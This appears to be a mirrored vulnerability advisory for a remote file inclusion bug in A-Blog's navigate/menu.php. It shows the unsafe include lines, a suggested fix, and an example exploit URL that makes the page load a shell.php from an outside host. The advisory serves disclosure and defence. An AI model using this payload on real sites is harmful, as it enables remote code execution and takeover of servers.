A-Blog Remote File Include vulnerability found by Drago84, affects A-Blog, source code at http://prdownloads.sourceforge.net/a-blog/A-BlogV2.rar?download. The problem is the inclusion of navigation_start and navigation_middle. The solution is to include mainfile.php, and the vulnerable page is menu.php in the /navigate/ directory
`
#
#[1]A-Blog Remote File Include
#
#BuG FounD by Drago84
#
#Application Affect:[2]A-Blog
#Source Code:
#[3]http://prdownloads.sourceforge.net/a-blog/A-BlogV2.rar?download
#Problem:
#<?php include ("$navigation_start"); ?>
#<?php include("$navigation_middle"); ?>
#Soluction:
#Include in page require ("mainfile.php");
#Page Vulnerable : menu.php
#Dir : /navigate/
# Exempe Of ExPloit
is:
#[4]http://www.site.com/ablog_dir/navigate/menu.php?navigation_start=[
5]http://marcusbestlamer.gay/shell.php?
#GrEatZ All Member of ToXiC, Str0ke
# Fuck Sonic,a|x
# ToXic Security Italian CreW
######
ToXiC
###################
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo